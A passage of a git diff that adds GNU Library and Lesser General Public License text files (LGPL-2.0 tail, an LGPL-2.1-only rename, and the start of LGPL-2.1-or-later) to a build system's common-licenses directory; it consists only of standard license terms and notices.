+The precise terms and conditions for copying, distribution and modification
+follow. Pay close attention to the difference between a "work based on the
+library" and a "work that uses the library". The former contains code derived
+from the library, while the latter only works together with the library.
+
+Note that it is possible for a library to be covered by the ordinary General
+Public License rather than by this special one.
+
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+0. This License Agreement applies to any software library which contains a
+notice placed by the copyright holder or other authorized party saying it
+may be distributed under the terms of this Library General Public License
+(also called "this License"). Each licensee is addressed as "you".
+
+A "library" means a collection of software functions and/or data prepared
+so as to be conveniently linked with application programs (which use some
+of those functions and data) to form executables.
+
+The "Library", below, refers to any such software library or work which has
+been distributed under these terms. A "work based on the Library" means either
+the Library or any derivative work under copyright law: that is to say, a
+work containing the Library or a portion of it, either verbatim or with modifications
+and/or translated straightforwardly into another language. (Hereinafter, translation
+is included without limitation in the term "modification".)
+
+"Source code" for a work means the preferred form of the work for making modifications
+to it. For a library, complete source code means all the source code for all
+modules it contains, plus any associated interface definition files, plus
+the scripts used to control compilation and installation of the library.
+
+Activities other than copying, distribution and modification are not covered
+by this License; they are outside its scope. The act of running a program
+using the Library is not restricted, and output from such a program is covered
+only if its contents constitute a work based on the Library (independent of
+the use of the Library in a tool for writing it). Whether that is true depends
+on what the Library does and what the program that uses the Library does.
+
+1. You may copy and distribute verbatim copies of the Library's complete source
+code as you receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice and disclaimer
+of warranty; keep intact all the notices that refer to this License and to
+the absence of any warranty; and distribute a copy of this License along with
+the Library.
+
+You may charge a fee for the physical act of transferring a copy, and you
+may at your option offer warranty protection in exchange for a fee.
+
+2. You may modify your copy or copies of the Library or any portion of it,
+thus forming a work based on the Library, and copy and distribute such modifications
+or work under the terms of Section 1 above, provided that you also meet all
+of these conditions:
+
+ a) The modified work must itself be a software library.
+
+b) You must cause the files modified to carry prominent notices stating that
+you changed the files and the date of any change.
+
+c) You must cause the whole of the work to be licensed at no charge to all
+third parties under the terms of this License.
+
+d) If a facility in the modified Library refers to a function or a table of
+data to be supplied by an application program that uses the facility, other
+than as an argument passed when the facility is invoked, then you must make
+a good faith effort to ensure that, in the event an application does not supply
+such function or table, the facility still operates, and performs whatever
+part of its purpose remains meaningful.
+
+(For example, a function in a library to compute square roots has a purpose
+that is entirely well-defined independent of the application. Therefore, Subsection
+2d requires that any application-supplied function or table used by this function
+must be optional: if the application does not supply it, the square root function
+must still compute square roots.)
+
+These requirements apply to the modified work as a whole. If identifiable
+sections of that work are not derived from the Library, and can be reasonably
+considered independent and separate works in themselves, then this License,
+and its terms, do not apply to those sections when you distribute them as
+separate works. But when you distribute the same sections as part of a whole
+which is a work based on the Library, the distribution of the whole must be
+on the terms of this License, whose permissions for other licensees extend
+to the entire whole, and thus to each and every part regardless of who wrote
+it.
+
+Thus, it is not the intent of this section to claim rights or contest your
+rights to work written entirely by you; rather, the intent is to exercise
+the right to control the distribution of derivative or collective works based
+on the Library.
+
+In addition, mere aggregation of another work not based on the Library with
+the Library (or with a work based on the Library) on a volume of a storage
+or distribution medium does not bring the other work under the scope of this
+License.
+
+3. You may opt to apply the terms of the ordinary GNU General Public License
+instead of this License to a given copy of the Library. To do this, you must
+alter all the notices that refer to this License, so that they refer to the
+ordinary GNU General Public License, version 2, instead of to this License.
+(If a newer version than version 2 of the ordinary GNU General Public License
+has appeared, then you can specify that version instead if you wish.) Do not
+make any other change in these notices.
+
+Once this change is made in a given copy, it is irreversible for that copy,
+so the ordinary GNU General Public License applies to all subsequent copies
+and derivative works made from that copy.
+
+This option is useful when you wish to copy part of the code of the Library
+into a program that is not a library.
+
+4. You may copy and distribute the Library (or a portion or derivative of
+it, under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you accompany it with the complete corresponding
+machine-readable source code, which must be distributed under the terms of
+Sections 1 and 2 above on a medium customarily used for software interchange.
+
+If distribution of object code is made by offering access to copy from a designated
+place, then offering equivalent access to copy the source code from the same
+place satisfies the requirement to distribute the source code, even though
+third parties are not compelled to copy the source along with the object code.
+
+5. A program that contains no derivative of any portion of the Library, but
+is designed to work with the Library by being compiled or linked with it,
+is called a "work that uses the Library". Such a work, in isolation, is not
+a derivative work of the Library, and therefore falls outside the scope of
+this License.
+
+However, linking a "work that uses the Library" with the Library creates an
+executable that is a derivative of the Library (because it contains portions
+of the Library), rather than a "work that uses the library". The executable
+is therefore covered by this License. Section 6 states terms for distribution
+of such executables.
+
+When a "work that uses the Library" uses material from a header file that
+is part of the Library, the object code for the work may be a derivative work
+of the Library even though the source code is not. Whether this is true is
+especially significant if the work can be linked without the Library, or if
+the work is itself a library. The threshold for this to be true is not precisely
+defined by law.
+
+If such an object file uses only numerical parameters, data structure layouts
+and accessors, and small macros and small inline functions (ten lines or less
+in length), then the use of the object file is unrestricted, regardless of
+whether it is legally a derivative work. (Executables containing this object
+code plus portions of the Library will still fall under Section 6.)
+
+Otherwise, if the work is a derivative of the Library, you may distribute
+the object code for the work under the terms of Section 6. Any executables
+containing that work also fall under Section 6, whether or not they are linked
+directly with the Library itself.
+
+6. As an exception to the Sections above, you may also compile or link a "work
+that uses the Library" with the Library to produce a work containing portions
+of the Library, and distribute that work under terms of your choice, provided
+that the terms permit modification of the work for the customer's own use
+and reverse engineering for debugging such modifications.
+
+You must give prominent notice with each copy of the work that the Library
+is used in it and that the Library and its use are covered by this License.
+You must supply a copy of this License. If the work during execution displays
+copyright notices, you must include the copyright notice for the Library among
+them, as well as a reference directing the user to the copy of this License.
+Also, you must do one of these things:
+
+a) Accompany the work with the complete corresponding machine-readable source
+code for the Library including whatever changes were used in the work (which
+must be distributed under Sections 1 and 2 above); and, if the work is an
+executable linked with the Library, with the complete machine-readable "work
+that uses the Library", as object code and/or source code, so that the user
+can modify the Library and then relink to produce a modified executable containing
+the modified Library. (It is understood that the user who changes the contents
+of definitions files in the Library will not necessarily be able to recompile
+the application to use the modified definitions.)
+
+b) Accompany the work with a written offer, valid for at least three years,
+to give the same user the materials specified in Subsection 6a, above, for
+a charge no more than the cost of performing this distribution.
+
+c) If distribution of the work is made by offering access to copy from a designated
+place, offer equivalent access to copy the above specified materials from
+the same place.
+
+d) Verify that the user has already received a copy of these materials or
+that you have already sent this user a copy.
+
+For an executable, the required form of the "work that uses the Library" must
+include any data and utility programs needed for reproducing the executable
+from it. However, as a special exception, the source code distributed need
+not include anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the operating
+system on which the executable runs, unless that component itself accompanies
+the executable.
+
+It may happen that this requirement contradicts the license restrictions of
+other proprietary libraries that do not normally accompany the operating system.
+Such a contradiction means you cannot use both them and the Library together
+in an executable that you distribute.
+
+7. You may place library facilities that are a work based on the Library side-by-side
+in a single library together with other library facilities not covered by
+this License, and distribute such a combined library, provided that the separate
+distribution of the work based on the Library and of the other library facilities
+is otherwise permitted, and provided that you do these two things:
+
+a) Accompany the combined library with a copy of the same work based on the
+Library, uncombined with any other library facilities. This must be distributed
+under the terms of the Sections above.
+
+b) Give prominent notice with the combined library of the fact that part of
+it is a work based on the Library, and explaining where to find the accompanying
+uncombined form of the same work.
+
+8. You may not copy, modify, sublicense, link with, or distribute the Library
+except as expressly provided under this License. Any attempt otherwise to
+copy, modify, sublicense, link with, or distribute the Library is void, and
+will automatically terminate your rights under this License. However, parties
+who have received copies, or rights, from you under this License will not
+have their licenses terminated so long as such parties remain in full compliance.
+
+9. You are not required to accept this License, since you have not signed
+it. However, nothing else grants you permission to modify or distribute the
+Library or its derivative works. These actions are prohibited by law if you
+do not accept this License. Therefore, by modifying or distributing the Library
+(or any work based on the Library), you indicate your acceptance of this License
+to do so, and all its terms and conditions for copying, distributing or modifying
+the Library or works based on it.
+
+10. Each time you redistribute the Library (or any work based on the Library),
+the recipient automatically receives a license from the original licensor
+to copy, distribute, link with or modify the Library subject to these terms
+and conditions. You may not impose any further restrictions on the recipients'
+exercise of the rights granted herein. You are not responsible for enforcing
+compliance by third parties to this License.
+
+11. If, as a consequence of a court judgment or allegation of patent infringement
+or for any other reason (not limited to patent issues), conditions are imposed
+on you (whether by court order, agreement or otherwise) that contradict the
+conditions of this License, they do not excuse you from the conditions of
+this License. If you cannot distribute so as to satisfy simultaneously your
+obligations under this License and any other pertinent obligations, then as
+a consequence you may not distribute the Library at all. For example, if a
+patent license would not permit royalty-free redistribution of the Library
+by all those who receive copies directly or indirectly through you, then the
+only way you could satisfy both it and this License would be to refrain entirely
+from distribution of the Library.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply,
+and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any patents
+or other property right claims or to contest validity of any such claims;
+this section has the sole purpose of protecting the integrity of the free
+software distribution system which is implemented by public license practices.
+Many people have made generous contributions to the wide range of software
+distributed through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing to
+distribute software through any other system and a licensee cannot impose
+that choice.
+
+This section is intended to make thoroughly clear what is believed to be a
+consequence of the rest of this License.
+
+12. If the distribution and/or use of the Library is restricted in certain
+countries either by patents or by copyrighted interfaces, the original copyright
+holder who places the Library under this License may add an explicit geographical
+distribution limitation excluding those countries, so that distribution is
+permitted only in or among countries not thus excluded. In such case, this
+License incorporates the limitation as if written in the body of this License.
+
+13. The Free Software Foundation may publish revised and/or new versions of
+the Library General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to address
+new problems or concerns.
+
+Each version is given a distinguishing version number. If the Library specifies
+a version number of this License which applies to it and "any later version",
+you have the option of following the terms and conditions either of that version
+or of any later version published by the Free Software Foundation. If the
+Library does not specify a license version number, you may choose any version
+ever published by the Free Software Foundation.
+
+14. If you wish to incorporate parts of the Library into other free programs
+whose distribution conditions are incompatible with these, write to the author
+to ask for permission. For software which is copyrighted by the Free Software
+Foundation, write to the Free Software Foundation; we sometimes make exceptions
+for this. Our decision will be guided by the two goals of preserving the free
+status of all derivatives of our free software and of promoting the sharing
+and reuse of software generally.
+
+ NO WARRANTY
+
+15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR
+THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE
+STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY
+"AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
+BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE
+OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE
+THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE
+OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA
+OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES
+OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH
+HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+END OF TERMS AND CONDITIONS
+
+How to Apply These Terms to Your New Libraries
+
+If you develop a new library, and you want it to be of the greatest possible
+use to the public, we recommend making it free software that everyone can
+redistribute and change. You can do so by permitting redistribution under
+these terms (or, alternatively, under the terms of the ordinary General Public
+License).
+
+To apply these terms, attach the following notices to the library. It is safest
+to attach them to the start of each source file to most effectively convey
+the exclusion of warranty; and each file should have at least the "copyright"
+line and a pointer to where the full notice is found.
+
+one line to give the library's name and an idea of what it does.
+
+Copyright (C) year name of author
+
+This library is free software; you can redistribute it and/or modify it under
+the terms of the GNU Library General Public License as published by the Free
+Software Foundation; either version 2 of the License, or (at your option)
+any later version.
+
+This library is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU Library General Public License for more
+details.
+
+You should have received a copy of the GNU Library General Public License
+along with this library; if not, write to the Free Software Foundation, Inc.,
+51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+You should also get your employer (if you work as a programmer) or your school,
+if any, to sign a "copyright disclaimer" for the library, if necessary. Here
+is a sample; alter the names:
+
+Yoyodyne, Inc., hereby disclaims all copyright interest in
+
+the library `Frob' (a library for tweaking knobs) written
+
+by James Random Hacker.
+
+signature of Ty Coon, 1 April 1990
+
+Ty Coon, President of Vice
+
+That's all there is to it!
diff --git a/meta/files/common-licenses/LGPL-2.1 b/meta/files/common-licenses/LGPL-2.1-only
index a0e735a98b..a0e735a98b 100644
--- a/meta/files/common-licenses/LGPL-2.1
+++ b/meta/files/common-licenses/LGPL-2.1-only
diff --git a/meta/files/common-licenses/LGPL-2.1-or-later b/meta/files/common-licenses/LGPL-2.1-or-later
new file mode 100644
index 0000000000..04bb156e77
--- /dev/null
+++ b/meta/files/common-licenses/LGPL-2.1-or-later
@@ -0,0 +1,468 @@
+GNU LESSER GENERAL PUBLIC LICENSE
+
+Version 2.1, February 1999
+
+Copyright (C) 1991, 1999 Free Software Foundation, Inc.
+
+51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+[This is the first released version of the Lesser GPL. It also counts as the
+successor of the GNU Library Public License, version 2, hence the version
+number 2.1.]
+
+Preamble
+
+The licenses for most software are designed to take away your freedom to share
+and change it. By contrast, the GNU General Public Licenses are intended to
+guarantee your freedom to share and change free software--to make sure the
+software is free for all its users.
+
+This license, the Lesser General Public License, applies to some specially
+designated software packages--typically libraries--of the Free Software Foundation
+and other authors who decide to use it. You can use it too, but we suggest
+you first think carefully about whether this license or the ordinary General
+Public License is the better strategy to use in any particular case, based
+on the explanations below.
+
+When we speak of free software, we are referring to freedom of use, not price.
+Our General Public Licenses are designed to make sure that you have the freedom
+to distribute copies of free software (and charge for this service if you
+wish); that you receive source code or can get it if you want it; that you
+can change the software and use pieces of it in new free programs; and that
+you are informed that you can do these things.
+
+To protect your rights, we need to make restrictions that forbid distributors
+to deny you these rights or to ask you to surrender these rights. These restrictions
+translate to certain responsibilities for you if you distribute copies of
+the library or if you modify it.
+
+For example, if you distribute copies of the library, whether gratis or for
+a fee, you must give the recipients all the rights that we gave you. You must
+make sure that they, too, receive or can get the source code. If you link
+other code with the library, you must provide complete object files to the
+recipients, so that they can relink them with the library after making changes
+to the library and recompiling it. And you must show them these terms so they
+know their rights.
+
+We protect your rights with a two-step method: (1) we copyright the library,
+and (2) we offer you this license, which gives you legal permission to copy,
+distribute and/or modify the library.
+
+To protect each distributor, we want to make it very clear that there is no
+warranty for the free library. Also, if the library is modified by someone
+else and passed on, the recipients should know that what they have is not
+the original version, so that the original author's reputation will not be
+affected by problems that might be introduced by others.
+
+Finally, software patents pose a constant threat to the existence of any free
+program. We wish to make sure that a company cannot effectively restrict the
+users of a free program by obtaining a restrictive license from a patent holder.
+Therefore, we insist that any patent license obtained for a version of the
+library must be consistent with the full freedom of use specified in this
+license.
+
+Most GNU software, including some libraries, is covered by the ordinary GNU
+General Public License. This license, the GNU Lesser General Public License,
+applies to certain designated libraries, and is quite different from the ordinary
+General Public License. We use this license for certain libraries in order
+to permit linking those libraries into non-free programs.
+
+When a program is linked with a library, whether statically or using a shared
+library, the combination of the two is legally speaking a combined work, a
+derivative of the original library. The ordinary General Public License therefore
+permits such linking only if the entire combination fits its criteria of freedom.
+The Lesser General Public License permits more lax criteria for linking other
+code with the library.
+
+We call this license the "Lesser" General Public License because it does Less
+to protect the user's freedom than the ordinary General Public License. It
+also provides other free software developers Less of an advantage over competing
+non-free programs. These disadvantages are the reason we use the ordinary
+General Public License for many libraries. However, the Lesser license provides
+advantages in certain special circumstances.
+
+For example, on rare occasions, there may be a special need to encourage the
+widest possible use of a certain library, so that it becomes a de-facto standard.
+To achieve this, non-free programs must be allowed to use the library. A more
+frequent case is that a free library does the same job as widely used non-free
+libraries. In this case, there is little to gain by limiting the free library
+to free software only, so we use the Lesser General Public License.
+
+In other cases, permission to use a particular library in non-free programs
+enables a greater number of people to use a large body of free software. For
+example, permission to use the GNU C Library in non-free programs enables
+many more people to use the whole GNU operating system, as well as its variant,
+the GNU/Linux operating system.
+
+Although the Lesser General Public License is Less protective of the users'
+freedom, it does ensure that the user of a program that is linked with the
+Library has the freedom and the wherewithal to run that program using a modified
+version of the Library.
+
+The precise terms and conditions for copying, distribution and modification
+follow. Pay close attention to the difference between a "work based on the
+library" and a "work that uses the library". The former contains code derived
+from the library, whereas the latter must be combined with the library in
+order to run.
+
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+0. This License Agreement applies to any software library or other program
+which contains a notice placed by the copyright holder or other authorized
+party saying it may be distributed under the terms of this Lesser General
+Public License (also called "this License"). Each licensee is addressed as
+"you".
+
+A "library" means a collection of software functions and/or data prepared
+so as to be conveniently linked with application programs (which use some
+of those functions and data) to form executables.
+
+The "Library", below, refers to any such software library or work which has
+been distributed under these terms. A "work based on the Library" means either
+the Library or any derivative work under copyright law: that is to say, a
+work containing the Library or a portion of it, either verbatim or with modifications
+and/or translated straightforwardly into another language. (Hereinafter, translation
+is included without limitation in the term "modification".)
+
+"Source code" for a work means the preferred form of the work for making modifications
+to it. For a library, complete source code means all the source code for all
+modules it contains, plus any associated interface definition files, plus
+the scripts used to control compilation and installation of the library.
+
+Activities other than copying, distribution and modification are not covered
+by this License; they are outside its scope. The act of running a program
+using the Library is not restricted, and output from such a program is covered
+only if its contents constitute a work based on the Library (independent of
+the use of the Library in a tool for writing it). Whether that is true depends
+on what the Library does and what the program that uses the Library does.
+
+1. You may copy and distribute verbatim copies of the Library's complete source
+code as you receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice and disclaimer
+of warranty; keep intact all the notices that refer to this License and to
+the absence of any warranty; and distribute a copy of this License along with
+the Library.
+
+You may charge a fee for the physical act of transferring a copy, and you
+may at your option offer warranty protection in exchange for a fee.
+
+2. You may modify your copy or copies of the Library or any portion of it,
+thus forming a work based on the Library, and copy and distribute such modifications
+or work under the terms of Section 1 above, provided that you also meet all
+of these conditions:
+
+ a) The modified work must itself be a software library.
+
+b) You must cause the files modified to carry prominent notices stating that
+you changed the files and the date of any change.
+
+c) You must cause the whole of the work to be licensed at no charge to all
+third parties under the terms of this License.
+
+d) If a facility in the modified Library refers to a function or a table of
+data to be supplied by an application program that uses the facility, other
+than as an argument passed when the facility is invoked, then you must make
+a good faith effort to ensure that, in the event an application does not supply
+such function or table, the facility still operates, and performs whatever
+part of its purpose remains meaningful.
+
+(For example, a function in a library to compute square roots has a purpose
+that is entirely well-defined independent of the application. Therefore, Subsection
+2d requires that any application-supplied function or table used by this function
+must be optional: if the application does not supply it, the square root function
+must still compute square roots.)
+
+These requirements apply to the modified work as a whole. If identifiable
+sections of that work are not derived from the Library, and can be reasonably
+considered independent and separate works in themselves, then this License,
+and its terms, do not apply to those sections when you distribute them as
+separate works. But when you distribute the same sections as part of a whole
+which is a work based on the Library, the distribution of the whole must be
+on the terms of this License, whose permissions for other licensees extend
+to the entire whole, and thus to each and every part regardless of who wrote
+it.
+
+Thus, it is not the intent of this section to claim rights or contest your
+rights to work written entirely by you; rather, the intent is to exercise
+the right to control the distribution of derivative or collective works based
+on the Library.
+
+In addition, mere aggregation of another work not based on the Library with
+the Library (or with a work based on the Library) on a volume of a storage
+or distribution medium does not bring the other work under the scope of this
+License.
+
+3. You may opt to apply the terms of the ordinary GNU General Public License
+instead of this License to a given copy of the Library. To do this, you must
+alter all the notices that refer to this License, so that they refer to the
+ordinary GNU General Public License, version 2, instead of to this License.
+(If a newer version than version 2 of the ordinary GNU General Public License
+has appeared, then you can specify that version instead if you wish.) Do not
+make any other change in these notices.
+
+Once this change is made in a given copy, it is irreversible for that copy,
+so the ordinary GNU General Public License applies to all subsequent copies
+and derivative works made from that copy.
+
+This option is useful when you wish to copy part of the code of the Library
+into a program that is not a library.
+
+4. You may copy and distribute the Library (or a portion or derivative of
+it, under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you accompany it with the complete corresponding
+machine-readable source code, which must be distributed under the terms of
+Sections 1 and 2 above on a medium customarily used for software interchange.
+
+If distribution of object code is made by offering access to copy from a designated
+place, then offering equivalent access to copy the source code from the same
+place satisfies the requirement to distribute the source code, even though
+third parties are not compelled to copy the source along with the object code.
+
+5. A program that contains no derivative of any portion of the Library, but
+is designed to work with the Library by being compiled or linked with it,
+is called a "work that uses the Library". Such a work, in isolation, is not
+a derivative work of the Library, and therefore falls outside the scope of
+this License.
+
+However, linking a "work that uses the Library" with the Library creates an
+executable that is a derivative of the Library (because it contains portions
+of the Library), rather than a "work that uses the library". The executable
+is therefore covered by this License. Section 6 states terms for distribution
+of such executables.
+
+When a "work that uses the Library" uses material from a header file that
+is part of the Library, the object code for the work may be a derivative work
+of the Library even though the source code is not. Whether this is true is
+especially significant if the work can be linked without the Library, or if
+the work is itself a library. The threshold for this to be true is not precisely
+defined by law.
+
+If such an object file uses only numerical parameters, data structure layouts
+and accessors, and small macros and small inline functions (ten lines or less
+in length), then the use of the object file is unrestricted, regardless of
+whether it is legally a derivative work. (Executables containing this object
+code plus portions of the Library will still fall under Section 6.)
+
+Otherwise, if the work is a derivative of the Library, you may distribute
+the object code for the work under the terms of Section 6. Any executables
+containing that work also fall under Section 6, whether or not they are linked
+directly with the Library itself.
+
+6. As an exception to the Sections above, you may also combine or link a "work
+that uses the Library" with the Library to produce a work containing portions
+of the Library, and distribute that work under terms of your choice, provided
+that the terms permit modification of the work for the customer's own use
+and reverse engineering for debugging such modifications.
+
+You must give prominent notice with each copy of the work that the Library
+is used in it and that the Library and its use are covered by this License.
+You must supply a copy of this License. If the work during execution displays
+copyright notices, you must include the copyright notice for the Library among
+them, as well as a reference directing the user to the copy of this License.
+Also, you must do one of these things:
+
+a) Accompany the work with the complete corresponding machine-readable source
+code for the Library including whatever changes were used in the work (which
+must be distributed under Sections 1 and 2 above); and, if the work is an
+executable linked with the Library, with the complete machine-readable "work
+that uses the Library", as object code and/or source code, so that the user
+can modify the Library and then relink to produce a modified executable containing
+the modified Library. (It is understood that the user who changes the contents
+of definitions files in the Library will not necessarily be able to recompile
+the application to use the modified definitions.)
+
+b) Use a suitable shared library mechanism for linking with the Library. A
+suitable mechanism is one that (1) uses at run time a copy of the library
+already present on the user's computer system, rather than copying library
+functions into the executable, and (2) will operate properly with a modified
+version of the library, if the user installs one, as long as the modified
+version is interface-compatible with the version that the work was made with.
+
+c) Accompany the work with a written offer, valid for at least three years,
+to give the same user the materials specified in Subsection 6a, above, for
+a charge no more than the cost of performing this distribution.
+
+d) If distribution of the work is made by offering access to copy from a designated
+place, offer equivalent access to copy the above specified materials from
+the same place.
+
+e) Verify that the user has already received a copy of these materials or
+that you have already sent this user a copy.
+
+For an executable, the required form of the "work that uses the Library" must
+include any data and utility programs needed for reproducing the executable
+from it. However, as a special exception, the materials to be distributed
+need not include anything that is normally distributed (in either source or
+binary form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component itself
+accompanies the executable.
+
+It may happen that this requirement contradicts the license restrictions of
+other proprietary libraries that do not normally accompany the operating system.
+Such a contradiction means you cannot use both them and the Library together
+in an executable that you distribute.
+
+7. You may place library facilities that are a work based on the Library side-by-side
+in a single library together with other library facilities not covered by
+this License, and distribute such a combined library, provided that the separate
+distribution of the work based on the Library and of the other library facilities
+is otherwise permitted, and provided that you do these two things:
+
+a) Accompany the combined library with a copy of the same work based on the
+Library, uncombined with any other library facilities. This must be distributed
+under the terms of the Sections above.
+
+b) Give prominent notice with the combined library of the fact that part of
+it is a work based on the Library, and explaining where to find the accompanying
+uncombined form of the same work.
+
+8. You may not copy, modify, sublicense, link with, or distribute the Library
+except as expressly provided under this License. Any attempt otherwise to
+copy, modify, sublicense, link with, or distribute the Library is void, and
+will automatically terminate your rights under this License. However, parties
+who have received copies, or rights, from you under this License will not
+have their licenses terminated so long as such parties remain in full compliance.
+
+9. You are not required to accept this License, since you have not signed
+it. However, nothing else grants you permission to modify or distribute the
+Library or its derivative works. These actions are prohibited by law if you
+do not accept this License. Therefore, by modifying or distributing the Library
+(or any work based on the Library), you indicate your acceptance of this License
+to do so, and all its terms and conditions for copying, distributing or modifying
+the Library or works based on it.
+
+10. Each time you redistribute the Library (or any work based on the Library),
+the recipient automatically receives a license from the original licensor
+to copy, distribute, link with or modify the Library subject to these terms
+and conditions. You may not impose any further restrictions on the recipients'
+exercise of the rights granted herein. You are not responsible for enforcing
+compliance by third parties with this License.
+
+11. If, as a consequence of a court judgment or allegation of patent infringement
+or for any other reason (not limited to patent issues), conditions are imposed
+on you (whether by court order, agreement or otherwise) that contradict the
+conditions of this License, they do not excuse you from the conditions of
+this License. If you cannot distribute so as to satisfy simultaneously your
+obligations under this License and any other pertinent obligations, then as
+a consequence you may not distribute the Library at all. For example, if a
+patent license would not permit royalty-free redistribution of the Library
+by all those who receive copies directly or indirectly through you, then the
+only way you could satisfy both it and this License would be to refrain entirely
+from distribution of the Library.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply,
+and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any patents
+or other property right claims or to contest validity of any such claims;
+this section has the sole purpose of protecting the integrity of the free
+software distribution system which is implemented by public license practices.
+Many people have made generous contributions to the wide range of software
+distributed through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing to
+distribute software through any other system and a licensee cannot impose
+that choice.
+
+This section is intended to make thoroughly clear what is believed to be a
+consequence of the rest of this License.
+
+12. If the distribution and/or use of the Library is restricted in certain
+countries either by patents or by copyrighted interfaces, the original copyright
+holder who places the Library under this License may add an explicit geographical
+distribution limitation excluding those countries, so that distribution is
+permitted only in or among countries not thus excluded. In such case, this
+License incorporates the limitation as if written in the body of this License.
+
+13. The Free Software Foundation may publish revised and/or new versions of
+the Lesser General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to address
+new problems or concerns.
+
+Each version is given a distinguishing version number. If the Library specifies
+a version number of this License which applies to it and "any later version",
+you have the option of following the terms and conditions either of that version
+or of any later version published by the Free Software Foundation. If the
+Library does not specify a license version number, you may choose any version
+ever published by the Free Software Foundation.
+
+14. If you wish to incorporate parts of the Library into other free programs
+whose distribution conditions are incompatible with these, write to the author
+to ask for permission. For software which is copyrighted by the Free Software
+Foundation, write to the Free Software Foundation; we sometimes make exceptions
+for this. Our decision will be guided by the two goals of preserving the free
+status of all derivatives of our free software and of promoting the sharing
+and reuse of software generally.
+
+ NO WARRANTY
+
+15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR
+THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE
+STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY
+"AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
+BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE
+OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE
+THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE
+OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA
+OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES
+OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH
+HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+END OF TERMS AND CONDITIONS
+
+How to Apply These Terms to Your New Libraries
+
+If you develop a new library, and you want it to be of the greatest possible
+use to the public, we recommend making it free software that everyone can
+redistribute and change. You can do so by permitting redistribution under
+these terms (or, alternatively, under the terms of the ordinary General Public
+License).
+
+To apply these terms, attach the following notices to the library. It is safest
+to attach them to the start of each source file to most effectively convey
+the exclusion of warranty; and each file should have at least the "copyright"
+line and a pointer to where the full notice is found.
+
+<one line to give the library's name and an idea of what it does.>
+
+Copyright (C) <year> <name of author>
+
+This library is free software; you can redistribute it and/or modify it under
+the terms of the GNU Lesser General Public License as published by the Free
